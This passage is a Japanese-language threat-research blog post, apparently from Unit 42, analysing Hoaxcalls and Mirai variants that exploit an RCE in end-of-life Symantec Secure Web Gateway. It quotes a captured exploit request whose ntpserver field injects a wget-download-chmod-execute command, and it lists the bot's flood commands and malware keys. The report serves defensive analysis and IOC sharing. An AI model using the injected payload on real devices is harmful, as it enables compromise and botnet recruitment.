{"id":107259,"date":"2020-05-14T18:59:20","date_gmt":"2020-05-15T01:59:20","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=107259"},"modified":"2020-05-14T18:59:20","modified_gmt":"2020-05-15T01:59:20","slug":"hoaxcalls-mirai-target-legacy-symantec-web-gateways","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/hoaxcalls-mirai-target-legacy-symantec-web-gateways\/","title":{"rendered":"Mirai\u3001Hoaxcalls\u304c\u6a19\u7684\u3092\u62e1\u5927 \u30b5\u30dd\u30fc\u30c8\u7d42\u4e86\u30d0\u30fc\u30b8\u30e7\u30f3\u306eSymantec Web Gateway\u3092\u72d9\u3046"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u8abf\u67fb\u30c1\u30fc\u30e0Unit 42\u306f\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306e\u8105\u5a01\u3092\u7a4d\u6975\u7684\u306b\u76e3\u8996\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u53d6\u308a\u7d44\u307f\u306e\u4e00\u74b0\u3068\u3057\u3066\u3001\u6700\u8fd1\u7b46\u8005\u306fSymantec Secure Web Gateway 5.0.2.8\u306e\u8a8d\u8a3c\u5f8c\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u3092\u72d9\u3046\u65b0\u305f\u306aHoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3001Mirai\u30dc\u30c3\u30c8\u306e\u653b\u6483\u30cd\u30c3\u30c8\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u540c\u88fd\u54c1\u306f2015\u5e74\u306b\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u3092\u7d42\u4e86\uff08End-of-Life: EOL\uff09\u3001\u305d\u306e\u5f8c2019\u5e74\u306b\u30b5\u30dd\u30fc\u30c8\u3092\u7d42\u4e86\uff08End-of-Support-Life: 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Gateway\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3053\u3068\u306f\u306a\u3044\u3068\u3044\u3046\u70b9\u3092\u5f37\u8abf\u3057\u305f\u3044\u300d\u3068\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u672c\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308bHoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8 \u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u521d\u8a8d\u65e5\u306f2020\u5e744\u670824\u65e5\u3067\u3057\u305f\u3002\u3053\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306f\u540c\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u9032\u5316\u3092\u8abf\u67fb\u3059\u308b\u306a\u304b\u3067\u6d6e\u4e0a\u3057\u3066\u304d\u305f\u3082\u306e\u3067\u3001<a href=\"https:\/\/unit42.paloaltonetworks.jp\/new-hoaxcalls-ddos-botnet\/\">Hoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u81ea\u4f53\u306e\u521d\u8a8d\u306f<\/a>\u540c\u6708\u521d\u3081\u3067\u3057\u305f\u3002\u3053\u306e\u6700\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u306eHoaxcalls\u306f\u3001\u30b3\u30de\u30f3\u30c9\u3092\u8ffd\u52a0\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u653b\u6483\u8005\u304c\u611f\u67d3\u30c7\u30d0\u30a4\u30b9\u3092\u3088\u308a\u5f37\u529b\u306b\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001Hoaxcalls\u3092\u7d4c\u7531\u3057\u305f\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u30d7\u30ed\u30ad\u30b7\u3001\u66f4\u65b0\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3001\u30c7\u30d0\u30a4\u30b9\u518d\u8d77\u52d5\u3092\u306f\u3055\u3093\u3067\u306e\u6c38\u7d9a\u6027\u7dad\u6301\u3001\u518d\u8d77\u52d5\u9632\u6b62\u3001\u958b\u59cb\u53ef\u80fd\u306aDDoS\u653b\u6483\u6570\u306e\u5897\u52a0\u306a\u3069\u3067\u3059\u3002\u5b9f\u969b\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u3001\u540c<a href=\"https:\/\/dl.packetstormsecurity.net\/2004-exploits\/symantecwg5028-exec.pdf\">\u8106\u5f31\u6027<\/a>\u306e\u8a73\u7d30<a href=\"https:\/\/code610.blogspot.com\/2020\/03\/postauth-rce-in-symantec-web-gateway.html\">\u516c\u958b<\/a>\u6570\u65e5\u5f8c\u306b\u306f\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u3053\u3068\u306f\u3001\u540c\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u4f5c\u8005\u304c\u65b0\u3057\u3044\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u516c\u958b\u3055\u308c\u308b\u305f\u3073\u6709\u52b9\u6027\u691c\u8a3c\u3092\u304b\u306a\u308a\u7a4d\u6975\u7684\u306b\u884c\u3063\u3066\u3044\u308b\u3068\u3044\u3046\u4e8b\u5b9f\u3092\u88cf\u4ed8\u3051\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u306a\u304a5\u6708\u306e\u521d\u9031\u3001\u7b46\u8005\u306f\u540c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u5229\u7528\u3059\u308bMirai\u4e9c\u7a2e\u306e\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3082\u78ba\u8a8d\u3057\u307e\u3057\u305f\u304c\u3001\u3053\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u306f\u30b5\u30f3\u30d7\u30eb\u81ea\u4f53\u306b\u306fDDoS\u6a5f\u80fd\u304c\u542b\u307e\u308c\u3066\u304a\u3089\u305a\u3001\u304b\u308f\u308a\u306b\u8cc7\u683c\u60c5\u5831\u306e\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u3068Symantec Secure Web Gateway\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u3067\u611f\u67d3\u3092\u5e83\u3052\u308b\u5f79\u5272\u3092\u62c5\u3063\u3066\u3044\u307e\u3057\u305f\u3002 \u672c\u7a3f\u3067\u306f\u3001\u3053\u308c\u30892\u3064\u306e\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u95a2\u3057\u3001\u7279\u7b46\u3059\u3079\u304d\u3068\u601d\u308f\u308c\u308b\u6280\u8853\u7684\u8a73\u7d30\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n<p>\u306a\u304a\u3001\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u88fd\u54c1\u3092\u3054\u5229\u7528\u4e2d\u306e\u304a\u5ba2\u69d8\u306f\u3053\u306e\u653b\u6483\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002WildFire\u306f\u3059\u3079\u3066\u306e\u95a2\u9023\u30b5\u30f3\u30d7\u30eb\u3092\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u6b63\u3057\u304f\u8b58\u5225\u3057\u3001\u8105\u5a01\u9632\u5fa1\u306f\u3053\u306e\u4e9c\u7a2e\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u308b\u3059\u3079\u3066\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u30d6\u30ed\u30c3\u30af\u3057\u307e\u3059\u3002\u3055\u3089\u306b\u3001AutoFocus\u3092\u3054\u5229\u7528\u4e2d\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u306e\u30bf\u30b0\u3067\u540c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u8ffd\u8de1\u3067\u304d\u307e\u3059:\u00a0<a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.SymantecWebGateway_RCE\">SymantecWebGateway_RCE<\/a><\/p>\n<h4>Hoaxcalls\u306e\u9032\u5316<\/h4>\n<p>Bashlite\/Gafgyt\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u304b\u3089\u6d3e\u751f\u3057\u305fHoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306f\u30012020\u5e744\u6708\u306b\u6700\u521d\u306b\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u540c\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306f\u3001Grandstream\u306e\u30d3\u30b8\u30cd\u30b9\u96fb\u8a71<a href=\"https:\/\/en.wikipedia.org\/wiki\/IP_PBX\">IP PBX<\/a>\u30b7\u30b9\u30c6\u30e0\u306e\u7279\u5b9a\u306e\u30e2\u30c7\u30eb\u306b\u3064\u3044\u3066\u6700\u8fd1\u516c\u958b\u3055\u308c\u305f\u8106\u5f31\u6027\u3068\u3001Draytek Vigor\u30eb\u30fc\u30bf\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/security.radware.com\/ddos-threats-attacks\/threat-advisories-attack-reports\/hoaxcalls-evolution\/\">\u305d\u306e\u6570\u9031\u9593\u5f8c<\/a>\u3001\u540c\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306f\u672a\u4fee\u6b63\u306eZyxel Cloud CNM SecuManager\u88fd\u54c1\u306e\u8106\u5f31\u6027\u3082\u4e0d\u6b63\u5229\u7528\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>4\u670824\u65e5\u306b\u7b46\u8005\u306f\u540c\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u30b5\u30f3\u30d7\u30eb\u304cEOL\u306b\u3044\u305f\u3063\u305fSymantec Secure Web Gateway 5.0.2.8 \u3092\u5bfe\u8c61\u3068\u3059\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u7d44\u307f\u8fbc\u3093\u3060\u3053\u3068\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306b\u306f\u6b21\u306e\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u4f7f\u308f\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">POST \/spywall\/timeConfig.php HTTP\/1.1<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">User-Agent: XTC<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">posttime=1585228657&amp;saveForm=Save&amp;timesync=1&amp;ntpserver=http:\/\/qweqwe.com;$(wget%20http:\/\/plexle.us\/Th5xrRAm%20-O%20\/tmp\/viktor%20&amp;&amp;%20chmod%20777%20\/tmp\/viktor%20&amp;&amp;%20\/tmp\/viktor);#&amp;timezone=5<\/span><\/p>\n<p>\u4e0a\u8a18\u30b9\u30cb\u30da\u30c3\u30c8\u304c\u793a\u3059\u3068\u304a\u308a\u3001\u30b5\u30f3\u30d7\u30eb\u306e\u306a\u304b\u306b\u306f\u516c\u958b\u30d5\u30a1\u30a4\u30eb \u30a2\u30c3\u30d7\u30ed\u30fc\u30c9 \u30b5\u30fc\u30d3\u30b9\u306eURL\uff08plexle[.]us\uff09\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3082\u306e\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u5834\u6240\u306b\u306f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u5f8c\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u4fb5\u5bb3\u306e\u6307\u6a19\uff08IOC\uff09\u3092\u307e\u3068\u3081\u305f\u4e00\u89a7\u3068\u540c\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3\u306b\u3064\u3044\u3066\u306f\u672c\u7a3f\u5dfb\u672b\u3092\u3054\u53c2\u7167\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>Hoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u306f\u3001\u307e\u3063\u305f\u304f\u540c\u3058\u30ad\u30fc\u3001\u540c\u3058\u6697\u53f7\u5316\u30b9\u30ad\u30fc\u30e0\u3092\u4f7f\u7528\u3059\u308b\u3068\u3044\u3046\u70b9\u3067\u306f<a href=\"https:\/\/unit42.paloaltonetworks.jp\/new-hoaxcalls-ddos-botnet\/\">\u521d\u671f\u30d0\u30fc\u30b8\u30e7\u30f3<\/a>\u3068\u3088\u304f\u4f3c\u3066\u3044\u307e\u3059\u3002\u305f\u3060\u3057\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306f\u3001\u30b3\u30de\u30f3\u30c9\u3092\u8ffd\u52a0\u3067\u30b5\u30dd\u30fc\u30c8\u3057\u3001\u653b\u6483\u8005\u304c\u611f\u67d3\u30c7\u30d0\u30a4\u30b9\u3092\u3088\u308a\u5f37\u529b\u306b\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001Hoaxcalls\u3092\u7d4c\u7531\u3057\u305f\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u30d7\u30ed\u30ad\u30b7\u3001\u66f4\u65b0\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3001\u30c7\u30d0\u30a4\u30b9\u518d\u8d77\u52d5\u3092\u306f\u3055\u3093\u3067\u306e\u6c38\u7d9a\u6027\u7dad\u6301\u3001\u518d\u8d77\u52d5\u9632\u6b62\u3001\u958b\u59cb\u53ef\u80fd\u306aDDoS\u653b\u6483\u6570\u306e\u5897\u52a0\u306a\u3069\u3067\u3059\u3002\u3053\u3046\u3057\u305f\u6a5f\u80fd\u306b\u3064\u3044\u3066\u4ee5\u4e0b\u8a73\u8ff0\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>\u30d5\u30e9\u30c3\u30c0 \u30b3\u30de\u30f3\u30c9<\/strong><\/td>\n<td><strong>\u8aac\u660e<\/strong><\/td>\n<\/tr>\n<tr>\n<td><strong>SYMANTEC<\/strong><\/td>\n<td>\u5148\u306b\u306e\u3079\u305f\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027\u3092\u4f7f\u7528\u3057Symantec Secure Web Gateway\u30c7\u30d0\u30a4\u30b9\u3092\u30b9\u30ad\u30e3\u30f3\u30fb\u611f\u67d3\u3055\u305b\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>FASTFLUX<\/strong><\/td>\n<td>\u30c7\u30d0\u30a4\u30b9\u304b\u3089\u653b\u6483\u8005\u306e\u6307\u5b9a\u3059\u308b\u30a2\u30c9\u30ec\u30b9\u3078\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u30d7\u30ed\u30ad\u30b7\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>UNINSTALL<\/strong><\/td>\n<td>\u5b9f\u884c\u4e2d\u306e\u30de\u30eb\u30a6\u30a7\u30a2 \u30d7\u30ed\u30bb\u30b9\u3092\u5f37\u5236\u7d42\u4e86\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>KILLTELNET<\/strong><\/td>\n<td>\u30c7\u30d0\u30a4\u30b9\u306etelnet\u30b5\u30fc\u30d3\u30b9\u3092\u5f37\u5236\u7d42\u4e86\u3059\u308b\uff08\u304a\u305d\u3089\u304f\u306f\u611f\u67d3\u30c7\u30d0\u30a4\u30b9\u306e\u7ba1\u7406\u8005\u306b\u7ba1\u7406\u696d\u52d9\u3092\u884c\u3044\u3065\u3089\u304f\u3055\u305b\u308b\u76ee\u7684\u3068\u601d\u308f\u308c\u308b\uff09<\/td>\n<\/tr>\n<tr>\n<td><strong>LOCKDEVICE<\/strong><\/td>\n<td>cron\u30b8\u30e7\u30d6\u3092\u8a2d\u5b9a\u3057\u3066\u30d0\u30a4\u30ca\u30ea\u306e\u5b9f\u884c\u72b6\u6cc1\u3092\u78ba\u8a8d\u3001\u30c7\u30d0\u30a4\u30b9\u518d\u8d77\u52d5\u5f8c\u3082\u6c38\u7d9a\u6027\u3092\u7dad\u6301\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>UPDATE<\/strong><\/td>\n<td>\u65e2\u5b58\u30dc\u30c3\u30c8\u30d0\u30a4\u30ca\u30ea\u3092\u524a\u9664\u3057wget\u306a\u3044\u3057tftp\u3067164[.]132.92.180\/sh\u304b\u3089\u66f4\u65b0\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\uff08\u540c\u66f4\u65b0\u7528URL\u306f\u4e0b\u56f31\u306b\u793a\u3059\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u63d0\u4f9b\uff09<\/td>\n<\/tr>\n<tr>\n<td><strong>MOVE<\/strong><\/td>\n<td>IRC\u30b5\u30fc\u30d0\u30fc\u3092\u5207\u308a\u66ff\u3048\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>IOCTL<\/strong><\/td>\n<td>\u518d\u8d77\u52d5\u3092\u9632\u3050\u305f\u3081watchdog\u30bf\u30a4\u30de\u3092\u7121\u52b9\u306b\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>HTTPCONN<\/strong><\/td>\n<td>\u6307\u5b9a\u3057\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eHTTP CONNECTION\u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>HTTPOPTIONS<\/strong><\/td>\n<td>\u6307\u5b9a\u3057\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eHTTP OPTIONS\u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>HTTPTRACE<\/strong><\/td>\n<td>\u6307\u5b9a\u3057\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eHTTP TRACE\u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>HTTPDELETE<\/strong><\/td>\n<td>\u6307\u5b9a\u3057\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eHTTP DELETE \u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>HTTPPUT<\/strong><\/td>\n<td>\u6307\u5b9a\u3057\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eHTTP PUT\u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>HTTPPOST<\/strong><\/td>\n<td>\u6307\u5b9a\u3057\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eHTTP POST\u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>HTTPHEAD<\/strong><\/td>\n<td>\u6307\u5b9a\u3057\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eHTTP HEAD\u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>HTTPGET<\/strong><\/td>\n<td>\u6307\u5b9a\u3057\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eHTTP GET\u30ea\u30af\u30a8\u30b9\u30c8 \u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>URG<\/strong><\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eURG\u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>PSH<\/strong><\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306ePSH\u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>ACK<\/strong><\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eACK\u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>FIN<\/strong><\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eFIN\u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>RST<\/strong><\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eRST\u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>SYN<\/strong><\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eSYN\u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>TCP<\/strong><\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eTCP\u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<tr>\n<td><strong>VSE<\/strong><\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30bf\u30fc\u30b2\u30c3\u30c8\u3078\u306eVSERG\u30d5\u30e9\u30c3\u30c9\u3092\u958b\u59cb\u3059\u308b<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em>\u88681 \u65b0\u3057\u3044\u30d5\u30e9\u30c3\u30c0 \u30b3\u30de\u30f3\u30c9<\/em><\/span><\/p>\n<p>\u66f4\u65b0\u53d6\u5f97\u306e\u305f\u3081\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308bURL\u306b\u306f\u30b7\u30a7\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u63d0\u4f9b\u3055\u308c\u3066\u304a\u308a\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u653b\u6483\u8005\u306e\u5236\u5fa1\u4e0b\u306b\u3042\u308bURL\u304b\u3089\u30d0\u30a4\u30ca\u30ea\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3059\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_107241\" class=\"wp-caption aligncenter\" aria-describedby=\"caption-attachment-107241\">\n<p><figure id=\"attachment_107241\" aria-describedby=\"caption-attachment-107241\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/05\/Fig-1.-Hoaxcalls-update-URL.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-107241 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/05\/Fig-1.-Hoaxcalls-update-URL.png\" alt=\"\u56f3 1. Hoaxcalls\u306e\u66f4\u65b0\u7528URL\" width=\"600\" height=\"208\" \/><\/a><figcaption id=\"caption-attachment-107241\" class=\"wp-caption-text\">\u56f3 1. Hoaxcalls\u306e\u66f4\u65b0\u7528URL<\/figcaption><\/figure><figcaption id=\"caption-attachment-107241\" class=\"wp-caption-text\">\u3053\u308c\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306eHoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3068\u4eca\u56de\u306e\u3082\u306e\u3068\u3067\u5171\u901a\u306e\u30dc\u30c3\u30c8 \u30b3\u30de\u30f3\u30c9\u3084\u30d5\u30e9\u30c3\u30c0 \u30b3\u30de\u30f3\u30c9\u306f<a href=\"https:\/\/unit42.paloaltonetworks.jp\/new-hoaxcalls-ddos-botnet\/\">\u3053\u3061\u3089\u306e\u8a18\u4e8b<\/a>\u3067\u8a73\u3057\u304f\u89e3\u8aac\u3057\u3066\u3044\u307e\u3059\u306e\u3067\u5408\u308f\u305b\u3066\u3054\u4e00\u8aad\u304f\u3060\u3055\u3044\u3002<\/figcaption><\/figure>\n<h4>Mirai\u4e9c\u7a2e<\/h4>\n<p>\u3082\u3046\u3072\u3068\u3064\u306eMirai\u4e9c\u7a2e\u306b\u3088\u308b\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3 \u30b5\u30f3\u30d7\u30eb\u306f5\u6708\u4e0a\u65ec\u306b\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u3061\u3089\u306e\u30b5\u30f3\u30d7\u30eb\u306fMirai\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u30d9\u30fc\u30b9\u306b\u30d3\u30eb\u30c9\u3055\u308c\u3066\u304a\u308a\u3001UPX\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u306b\u3001\u305d\u308c\u305e\u308c\u306b\u7570\u306a\u308b4\u30d0\u30a4\u30c8\u9577\u306e\u30ad\u30fc\u30924\u3064\u4f7f\u3046UPX\u306e\u4fee\u6b63\u7248\u3092\u4f7f\u3063\u3066\u30d1\u30c3\u30af\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>Mirai\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3068\u306e\u3082\u30461\u3064\u306e\u76f8\u9055\u70b9\u306f\u3001\u30d0\u30a4\u30c8\u5358\u4f4d\u306e\u6587\u5b57\u5217\u6697\u53f7\u5316\u30b9\u30ad\u30fc\u30e0\u306b\u3001\u7d2f\u7a4d\u7684\u306b\u5229\u7528\u3059\u308b8\u30d0\u30a4\u30c8\u30ad\u30fc\u309210\u500b\u3059\u3079\u3066\u4f7f\u7528\u3057\u3066\u3044\u305f\u70b9\u3067\u3059:<\/p>\n<p style=\"padding-left: 40px;\">0xDEADBEEF\u30010x85DAB8BF\u30010xDEEDEEBF\u30010xDEABBEAF\u30010xDBBD45BF\u30010x246584EF\u30010x85BFE8BF, 0xD68395BF\u30010xDBAAAAAF\u30010x0DAABEEF<\/p>\n<p>\u3053\u308c\u306fHoaxcalls\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u30b9\u30ad\u30fc\u30e0\u306b\u3088\u304f\u4f3c\u3066\u3044\u307e\u3059\u3057\u3001Mirai\u306e<a href=\"https:\/\/unit42.paloaltonetworks.jp\/mirai-compiled-for-new-processor-surfaces\/\">\u4ee5\u524d\u306e\u4e9c\u7a2e<\/a>\u3067\u3082\u3053\u308c\u3068\u540c\u69d8\u306e\u30b9\u30ad\u30fc\u30e0\u3092\u4f7f\u3046\u69d8\u5b50\u304c\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3059 